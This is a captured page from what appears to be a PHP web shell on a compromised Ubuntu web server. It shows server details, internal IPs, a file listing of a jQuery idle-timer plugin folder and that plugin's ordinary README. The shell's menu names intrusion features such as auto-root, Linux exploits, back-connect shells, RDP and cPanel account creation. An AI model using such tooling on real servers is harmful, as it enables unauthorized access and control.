Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
admins /
vendor /
jquery-idletimer /
[ HOME SHELL ]
Name
Size
Permission
Action
demos
[ DIR ]
drwxr-x--x
dist
[ DIR ]
drwxr-x--x
libs
[ DIR ]
drwxr-x--x
src
[ DIR ]
drwxr-x--x
test
[ DIR ]
drwxr-x--x
CHANGELOG.md
4.5
KB
-rwxr-x--x
CONTRIBUTING.md
2.04
KB
-rwxr-x--x
Gruntfile.js
3.41
KB
-rwxr-x--x
LICENSE-MIT
1.05
KB
-rwxr-x--x
README.md
6.67
KB
-rwxr-x--x
idle-timer.jquery.json
870
B
-rwxr-x--x
jquery-idletimer.sln
1.73
KB
-rwxr-x--x
jquery-idletimer.v12.suo
34
KB
-rwxr-x--x
package.json
571
B
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
jQuery Idle Timer Plugin ======================== [](https://travis-ci.org/thorst/jquery-idletimer) [](https://david-dm.org/thorst/jquery-idletimer) [](https://david-dm.org/thorst/jquery-idletimer#info=devDependencies) [](https://coveralls.io/r/thorst/jquery-idletimer?branch=master) Demo -------- http://thorst.github.io/jquery-idletimer/index.html Download -------- * [Compressed ~3kb](https://raw.github.com/thorst/jquery-idletimer/master/dist/idle-timer.min.js) * [Uncompressed ~11kb](https://raw.github.com/thorst/jquery-idletimer/master/dist/idle-timer.js) Purpose ------- Fires a custom event when the user is "idle". Idle is defined by not... * moving the mouse * scrolling the mouse wheel * using the keyboard Usage ----- There are two ways to instantiate. Either statically, or on an element. Element bound timers will only watch for events inside of them. You may just want page-level activity, in which case you may set up your timers on `document`, `document.documentElement`, and `document.body`. Instantiate returns jQuery for chaining. ```javascript // binds to document - shorthand $.idleTimer(); // binds to document - explicit $( document ).idleTimer(); // bind to different element $( "#myTextArea" ).idleTimer(); ``` You can configure the settings several ways ```javascript // idleTimer() with all defaults $( document ).idleTimer( ); // idleTimer() takes an optional numeric argument that defines just the idle timeout // timeout is in milliseconds $( document ).idleTimer( 10000 ); // idleTimer() takes an optional object argument that defines any/all setting $( document ).idleTimer( { timeout:10000, idle:true }); /* * Here are the possible settings * you can omit any or all of them */ // indicates if the user is idle idle [default:false] // the timeout period timeout [default:30000] // activity is any one of these events events [default:'mousemove keydown wheel DOMMouseScroll mousewheel mousedown touchstart touchmove MSPointerDown MSPointerMove'] ``` When a users state changes a custom events get triggered. There are several parameters passed to your handler for you to use ```javascript $( document ).on( "idle.idleTimer", function(event, elem, obj){ // function you want to fire when the user goes idle }); $( document ).on( "active.idleTimer", function(event, elem, obj, triggerevent){ // function you want to fire when the user becomes active again }); /* * Here are the arguments */ // event // will be either idle.idleTimer or active.idleTimer // use event.stopPropagation(); to stop element from bubbling up to document // elem // is the element that the event was triggered on // obj // is a copy of the internal data used by idleTimer // triggerevent // is the initial event that triggered the element to become active // obviously for idle state this will be undefined ``` There are several methods to invoke ```javascript // stop the timer, removes data, removes event bindings // to come back from this you will need to instantiate again // returns: jQuery $( document ).idleTimer("destroy"); // save remaining time, and stops the timer // returns: jQuery $( document ).idleTimer("pause"); // starts timer with remaining time // returns: jQuery $( document ).idleTimer("resume"); // restore initial idle state, and restart the timer // returns: jQuery $( document ).idleTimer("reset"); // get time left until idle, if idle return 0 // returns: number $( document ).idleTimer("getRemainingTime"); // get time elapsed (in ms) since the user went idle/active // if idle, how have you been idle, if active, how long have you been active // returns: number $( document ).idleTimer("getElapsedTime"); // get time last active event fired // returns: number $( document ).idleTimer("getLastActiveTime"); // you can also query if it's "idle" or "active" // returns: bool $( document ).idleTimer("isIdle"); ``` Pre-Req ------- jQuery 1.7 (tested with 1.11.0) Intended Browser Support ------- ####Desktop * >=IE8 * Firefox n-1 * Chrome n-1 * Safari n ####Mobile * iOS n-1 * Android (version?) * Windows Phone IEMobile/10.0 Links ------- * [jQuery plugin repo listing](http://plugins.jquery.com/idle-timer/) * [cdn](http://cdnjs.com/libraries/jquery-idletimer/) * [nuget]() - coming soon * [Eric Hynds Idle Timeout plugin](https://github.com/ehynds/jquery-idle-timeout) (note we have similar functionality [here](http://thorst.github.io/jquery-idletimer/prod/demos/autologout.html)) Playground ------- * [js fiddle](http://jsfiddle.net/thorst/2aGL4/4/) * [css deck](http://cssdeck.com/labs/sosoro3m) Version History ------- | Version | Author | Released | Links | | --------------------------------------- |-----------------| ---------- | ----------------------------- | | [1.0.0](https://raw.github.com/thorst/jquery-idletimer/master/dist/idle-timer.1.0.0.min.js) | Todd Horst | 03/10/2014 | [Change Log](CHANGELOG.md) - [Breaking Changes](CHANGELOG.md#breaking-changes) | | [0.9.3](https://raw.github.com/thorst/jquery-idletimer/master/dist/idle-timer.0.9.3.min.js) | Mike Sherov | 08/04/2013 | Author History ------- * Nicholas C. Zakas (yui Version) [idleTimer Blog](http://www.nczonline.net/blog/2009/06/02/detecting-if-the-user-is-idle-with-javascript-and-yui-3/) | [Github Profile](https://github.com/nzakas) | [Github](https://github.com/nzakas/jstools/) * Paul Irish (initial jQuery Version) [idleTimer Blog](http://paulirish.com/2009/jquery-idletimer-plugin/) | [Github Profile](https://github.com/paulirish) | [Github](https://github.com/paulirish/jquery-idletimer/) * Mike Sherov (transfered from Paul) [Github Profile](https://github.com/mikesherov) * Todd Horst (transfered from Mike) [Github Profile](https://github.com/thorst) Bug? ------- Please create a [fiddle](http://jsfiddle.net/thorst/2aGL4/4/) and [submit a ticket](https://github.com/thorst/jquery-idletimer/issues/new)
Close